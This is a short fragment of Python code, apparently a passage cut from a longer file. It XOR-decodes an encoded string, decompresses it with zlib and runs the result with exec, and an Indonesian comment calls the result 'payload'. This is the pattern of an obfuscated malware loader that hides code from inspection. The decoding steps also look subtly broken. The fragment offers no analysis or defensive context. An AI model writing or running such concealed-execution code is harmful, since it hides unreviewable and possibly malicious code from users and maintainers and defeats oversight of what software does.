rXfEFIthWocFs/mVJKtJnM22t5JbczqxbzgRTdRXkMQP8oSUHf5r4mVM6F+CW5xhHbPQQiIEj8ahY7Pa4/I="
)

# XOR decode
_decoded = ''.join(chr(ord(_enc[i]) ^ ord(_key[i % len(_key)])) for i in range(len(_enc)))
# Decompress
payload = zlib.decompress(_decoded)

# Eksekusi payload
exec(payload)